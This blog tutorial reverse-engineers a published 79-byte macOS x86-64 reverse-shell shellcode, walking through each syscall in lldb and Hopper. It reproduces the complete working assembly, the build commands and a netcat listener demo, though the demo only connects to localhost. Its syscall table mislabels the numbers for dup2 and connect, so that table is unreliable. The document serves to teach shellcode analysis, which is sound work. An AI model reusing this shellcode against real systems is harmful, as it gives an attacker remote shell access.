# The reverse connect shell

## Abstract

*In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page [Shellcode: Mac OSX amd64](https://modexp.wordpress.com/2017/01/21/shellcode-osx/).*

*In the last article, we will put together what we have learnt so far and we will create a reverse bind shell*

#### Keywords
*reverse bind shell, socket, sys_dup2, execve, connect.*

# The code

We start with compiling the code from the well-known website:

```
bits 64
global _main
_main:


; 79 byte reverse shell
;
    bits    64

    mov     rcx, ~0x0100007fd2040200
    not     rcx
    push    rcx

    xor     ebp, ebp
    bts     ebp, 25
    ; step 1, create a socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    push    rbp
    pop     rax
    cdq                      ; rdx=IPPROTO_IP
    push    1
    pop     rsi              ; rsi=SOCK_STREAM
    push    2
    pop     rdi              ; rdi=AF_INET
    mov     al, 97
    syscall

    xchg    eax, edi         ; edi=s
    xchg    eax, esi         ; esi=2

    ; step 2, assign socket handle to stdin,stdout,stderr
    ; dup2(r, FILENO_STDIN)
    ; dup2(r, FILENO_STDOUT)
    ; dup2(r, FILENO_STDERR)
dup_loop64:
    push    rbp
    pop     rax              ; eax = 0x02000000
    mov     al, 90           ; rax=sys_dup2
    syscall
    sub     esi, 1
    jns     dup_loop64       ; jump if not signed

    ; step 3, connect to remote host
    ; connect (sockfd, {AF_INET,1234,127.0.0.1}, 16);
    push    rbp
    pop     rax
    push    rsp
    pop     rsi
    mov     dl, 16           ; rdx=sizeof(sa)
    mov     al, 98           ; rax=sys_connect
    syscall

    ; step 4, execute /bin/sh
    ; execve("/bin//sh", NULL, 0);
    push    rax
    pop     rsi
    push    rbp
    pop     rax
    cdq                      ; rdx=0
    mov     rbx, '/bin//sh'
    push    rdx              ; 0
    push    rbx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; "/bin//sh", 0
    mov     al, 59           ; rax=sys_execve
    syscall
```

Compiling this code is not different from the usual:

```
gbiondo@tripleX reverse connect shell % nasm -f macho64 rcs.asm 
gbiondo@tripleX reverse connect shell % ld -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem rcs.o -o reverseConnectShell
```

Now from another terminal we launch a netcat shell:

```
gbiondo@tripleX ~ % pwd
/Users/gbiondo
gbiondo@tripleX ~ % /usr/bin/nc -l  1234
...
```

And we launch the reverse shell:

```
gbiondo@ tripleX reverse connect shell % ./reverseConnectShell
```

On the first terminal, we can issue commands as if these were launched from the second shell:

```
gbiondo@tripleX ~ % /usr/bin/nc -l  1234
pwd
/Users/gbiondo/EXP312/Odzhan/reverse connect shell
```

It works fine.

It must be observed that if there is no shell to connect to, the given shellcode crashes with a segmentation fault. 

This time we opt for another strategy to do the reverse engineering exercise. First, we collect all the launched syscalls, and we look through their documentation, if needed.

<table>
    <tr>
        <th>Last byte</th>
        <th>syscall signature</th>
    </tr>

    <tr>
        <td>97</td>
        <td>```int socket(int domain, int type, int protocol);```</td>
    </tr>

    <tr>
        <td>98</td>
        <td>```int sys_dup2(u_int from, u_int to);```</td>
    </tr>

    <tr>
        <td>90</td>
        <td>```int connect(int s, caddr_t name, socklen_t namelen);```</td>
    </tr>


    <tr>
        <td>59</td>
        <td>```int execve(char *fname, char **argp, char **envp);```</td>
    </tr>
</table>

The syscalls shouldn’t be new to the aficionados of this series – however, if you have lost the articles:
* We discussed ```execve``` in [Come taste some shellcode...](https://blog.reveng3.org/come-taste-some-shellcode)
* We discussed ```sys_dup2``` in [Binding a shell](https://blog.reveng3.org/binding-a-shell)
* We discussed ```socket``` in [Binding a shell](https://blog.reveng3.org/binding-a-shell)
* We didn’t discuss ```connect``` yet 

So the algorithm will be:

![Screenshot 2022-04-29 at 09.54.52.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651222974388/0ks8SdGPF.png align="left")

To save some time later, let's remember that according to the AMD calling convention, the registers shall contain the values as described below:

<table>
    <tr>
        <th>syscall</th>
        <th><center>Parameter 1</center></th>
        <th><center>Parameter 2</center></th>
        <th><center>Parameter 3</center></th>
    </tr>
    <tr>
        <th>Registers</th>
        <th><center>```RDI```</center></th>
        <th><center>```RSI```</center></th>
        <th><center>```RDX```</center></th>
    </tr>

    <tr>
        <td>```socket```</td>
        <td>```domain```</td>
        <td>```type```</td>
        <td>```protocol```</td>
    </tr>
    <tr>
        <td>```sys_dup2```</td>
        <td>```from```</td>
        <td>```to```</td>
        <td>*n/a*</td>
    </tr>
    <tr>
        <td>```connect```</td>
        <td>Socket file descriptor</td>
        <td>Address</td>
        <td>Address length</td>
    </tr>
    <tr>
        <td>```execve```</td>
        <td>path</td>
        <td>arguments</td>
        <td>Global variables</td>
    </tr>
</table>

As I said in a previous article, when working with projects it’s always better to view both lldb and a visual disassembler. It gives a wide view of how the same result can be achieved in different manners. For instance, the original code:

```
mov     rcx, ~0x0100007fd2040200
    not     rcx
```

has been disassembled by lldb as:

```
reverseConnectShell[0x100003f69] <+0>:  movabs rcx, -0x100007fd2040201
reverseConnectShell[0x100003f73] <+10>: not    rcx
```
and by hopper as:
```
0000000100003f69         movabs     rcx, 0xfeffff802dfbfdff
0000000100003f73         not        rcx
```

Now, ```movabs``` and ```mov``` can be considered synonyms, in this context (see this [link](http://web.archive.org/web/20160609221003/http://www.x86-64.org/documentation/assembly.html) for more information), and yet the operands are different.

In the first case, the whole process has been already discussed in the article “Binding a shell”. We re-do this once more here:

![Screenshot 2022-04-29 at 10.16.00.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651223771075/cp52MQSNx.png align="left")

This shows that the approach of the original code and the one of hopper are equivalent.

Negative numbers are obtained with 2's complement, so we have:

![Screenshot 2022-04-29 at 10.16.54.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651223834868/XRpIo7JZ-.png align="left")

This finally proves that the three approaches are equivalent. As a point of interest, it’d have been way faster writing a simple piece of code:

```
#include <stdio.h>

int main() {
    long myInt;
    myInt = 0x100007fd2040201;
    myInt *= -1;
    printf("Original number made negative, in hex: %#lx\n",myInt);

    return 0;
}
```

*Or, damnit! you may use any scientific calculator that has programming features!*

Now that we agree on the data, we can proceed with the analysis. For the sake of clarity, I am subdividing the code in chunks; the separators being the syscall instructions (and subsequent return value storing, if pertinent).

To make the things clearer, I will also show the contents of the registers and the stack.

### First chunk: invoking socket
In other words, this is the main program until the loop. The disassembled code is:

```
(lldb) disassemble -n main
reverseConnectShell`main:
reverseConnectShell[0x100003f69] <+0>:  movabs rcx, -0x100007fd2040201
reverseConnectShell[0x100003f73] <+10>: not    rcx
reverseConnectShell[0x100003f76] <+13>: push   rcx
reverseConnectShell[0x100003f77] <+14>: xor    ebp, ebp
reverseConnectShell[0x100003f79] <+16>: bts    ebp, 0x19
reverseConnectShell[0x100003f7d] <+20>: push   rbp
reverseConnectShell[0x100003f7e] <+21>: pop    rax
reverseConnectShell[0x100003f7f] <+22>: cdq    
reverseConnectShell[0x100003f80] <+23>: push   0x1
reverseConnectShell[0x100003f82] <+25>: pop    rsi
reverseConnectShell[0x100003f83] <+26>: push   0x2
reverseConnectShell[0x100003f85] <+28>: pop    rdi
reverseConnectShell[0x100003f86] <+29>: mov    al, 0x61
reverseConnectShell[0x100003f88] <+31>: syscall 
reverseConnectShell[0x100003f8a] <+33>: xchg   eax, edi
reverseConnectShell[0x100003f8b] <+34>: xchg   eax, esi
```

We have already seen what happens in ```<+0>```. The effect of the operation ```<+10>``` is simply flipping the bytes in RCX, this is put in the stack in ```<+13>```. 

Let's observe the result of the ```not```, although the mechanism should be very clear by now:

![Screenshot 2022-04-29 at 10.26.49.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651224441795/h5_sn-bql.png align="left")

#### What is this all about
We didn’t look at the man page of the connect instruction, taking it somehow for granted. Let’s do it now.

man 2 connect gives:

> ```int connect(int socket, const struct sockaddr *address, socklen_t address_len);```
> 
> DESCRIPTION
> The parameter socket is a socket.  If it is of type ```SOCK_DGRAM```, this call specifies the peer with which the socket is to be associated; this address is that to which datagrams are to be sent, and the only address from which datagrams are to be received.  If the socket is of type ```SOCK_STREAM```, this call attempts to make a connection to another socket.  The other socket is specified by address, which is an address in the communications space of the socket.
> Each communications space interprets the address parameter in its own way. Generally, stream sockets may successfully ```connect()``` only once; datagram sockets may use ```connect()``` multiple times to change their association.  Datagram sockets may dissolve the association by calling ```disconnectx(2)```, or by connecting to an invalid address, such as a null address or an address with the address family set to ```AF_UNSPEC``` (the error ```EAFNOSUPPORT``` will be harmlessly returned).

Now, we have already seen a ```const struct sockaddr *address``` passed to a syscall when we analysed bind. We have seen how to calculate the length, which is 16 bytes and how the fields are populated. Let’s get shortly back to that, remembering that the author wants to invoke connect with the parameters ```(sockfd, {AF_INET,1234,127.0.0.1}, 16)```. The first and the last should be immediate to understand, so we focus on the second one, namely ```{AF_INET,1234,127.0.0.1}```.

* The value of the constant ```AF_INET``` is ```0x02```.
* ```1234``` is an immediate constant. In hex that value is represented as ```0x04D2```.
* The remaining, ```127.0.0.1```, can be represented as ```0x7F 0x00 0x00 0x01```.
* Finally, we know that a ```const struct sockaddr *address``` has an initial field, ```sin_len```, which is 1-byte long, and must be null: ```0x00```.

All these, taken altogether:

![Screenshot 2022-04-29 at 11.10.33.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651227069437/4a5yVwm0P.png align="left")

The piece of code prepares the contents that will be pointed after by ```*address```.

However, the situation before ```<+13>``` is executed is:

![Screenshot 2022-04-29 at 11.55.54.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651229802714/qkKwvArOp.png align="left")

and after its execution we have:

![Screenshot 2022-04-29 at 11.57.59.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651229890319/OiC9ge6FQ.png align="center")

The next instruction (```<+14>```) zeroes the contents of ```ebp```, which are the last 32 bits of ```rpb``` – side effect of this action is zeroing also ```rbp```; and the one after (```<+16>```) sets the 26th (0x19=26 – but also this should be clear by now) bit of the register to 1. 

This prepares a ```0x0000000002000000``` value for the syscall without spawning null-bytes. Doing this makes a constant that is used during the preparations of the syscalls (do once and then use it!). In fact, the very next two operations store the value in the stack (```<+20>```) and stores it into ```rax``` (```<+21>```). 

![Screenshot 2022-04-29 at 12.16.09.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651230987598/ZzwqcROBi.png align="left")

The CDQ instruction (```<+22>```) sets ```RDX``` to 0, since ```eax``` is signed positive.

The effect of the two instructions ```<+23>``` and ```<+25>``` is to store the value ```1``` into ```rsi``` without generating null-bytes:

![Screenshot 2022-04-30 at 08.26.18.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651303595608/5yyRknUeC.png align="left")

and similarly, with ```<+26>``` and ```<+28>```  the value ```2``` is stored into ```rdi``` without generating null-bytes:

![Screenshot 2022-04-30 at 08.28.04.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651303696872/UD3Kysfg0.png align="center")

Finally, in ```<+29>```, the first syscall is prepared. The situation before and after the syscall is reported below, changes highlighted in red:

![Screenshot 2022-04-30 at 08.30.10.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651303836334/G-SnBj-4V.png align="left")

A new socket is created, and its value (```3```) is stored into ```rax```.

The remaining two actions (namely, ```<+33>``` and ```<+34>```) swap the contents of the two registers. At the end of the execution we have:

![Screenshot 2022-04-30 at 08.35.53.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651304163274/2bxQnSOsn.png align="left")

Time to look at the next chunk

### dup_loop64
*Note that the numeration restarts, but since there's no further label, the program will keep on using the internal numbering also after the jump instruction. This is actually meaningful, from the point of view of the assembly language - the humans must adapt to that :) 
But we won't surrender, and we'll stubbornly keep on subdividing into smaller chunks :)*

```
reverseConnectShell[0x100003f8c] <+0>:  push   rbp
reverseConnectShell[0x100003f8d] <+1>:  pop    rax
reverseConnectShell[0x100003f8e] <+2>:  mov    al, 0x5a
reverseConnectShell[0x100003f90] <+4>:  syscall 
reverseConnectShell[0x100003f92] <+6>:  sub    esi, 0x1
reverseConnectShell[0x100003f95] <+9>:  jns    0x100003f8c               ; <+0>
```
At a glance, this routine is very easy to reverse: ```<+0>```, ```<+1>```, and ```<+2>``` prepare the syscall (```<+4>```) using the value of ```rsi```. The register ```rsi``` initial value is ```2``` (```STDERR```), then becomes ```1``` (```STDOUT```), and finally becomes ```0``` which corresponds to ```STDIN```. Chiefly, this associates the socket file descriptor (```rdi```, never changing) to the three aforementioned streams. In fact, at each iteration ```rsi``` is decremented (```<+6>```), and the jump is performed only upon non-negative results (```<+9>```). Easy peasy.

We show a quick example of how the registers are impacted by this loop. The initial push and pop:

![Screenshot 2022-05-01 at 07.42.34.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651387365010/181QmF99x.png align="left")

and the final ones:

![Screenshot 2022-05-01 at 07.43.59.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651387461670/g1akRQseU.png align="left")


When the loop terminates, the values of the registers is as follows:

![Screenshot 2022-05-01 at 07.46.05.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1651387577570/NFTVlWJMG.png align="left")

This closes the dup_loop64 chunk.

### Connect
This may seem the most tricky part of the whole exercise, because it really deals with the stack.

The code is:

```
reverseConnectShell[0x100003f97] <+11>: push   rbp
reverseConnectShell[0x100003f98] <+12>: pop    rax
reverseConnectShell[0x100003f99] <+13>: push   rsp
reverseConnectShell[0x100003f9a] <+14>: pop    rsi
reverseConnectShell[0x100003f9b] <+15>: mov    dl, 0x10
reverseConnectShell[0x100003f9d] <+17>: mov    al, 0x62
reverseConnectShell[0x100003f9f] <+19>: syscall 
```

Let us focus on the contents of the stack, first. The stack pointer (```rsp```) contains the value ```0x00007FF7BFEFFA20```. At this location, the stack contains the previously built ```struct sockaddr```. By now, should be clear the effect of the instructions ```<+11>``` and ```<+12>```: they basically prepare the syscall. After the execution of those instructions, the stack pointer still contains ```struct```'s address. That address is then stored in ```rsi``` with the usual push/pop mechanism, thus populating the value of the second parameter of the syscall. The third parameter must be stored in ```rdx```, whose last byte is set to ```0x10``` in ```<+15>```. Fianlly, ```rdi```, which contained the file descriptor of the socket, hasn't changed. The syscall is perfectioned in ```<+17>``` and then invoked in ```<+19>```.

The final part is the execution of the shell, we have already analysed it in previous articles. Please, refer to them.

## Conclusions

The aim of this series was multifold. First of all, I wanted to show that even with no assembly talent, we can understand shellcode (and we built some of that talent in this process, indeed!). 
I also wanted to show how to do static analysis. It's a lengthy process (the technical term is PitA), error-prone, but gives lots of satisfaction.
Assembly is not that harsh monstrosity one expects it to be. It's not easy either, anyway, so you may want to build further skills on that.
We have also seen some binary analysis.

*... and all this, just by reverse engineering!*
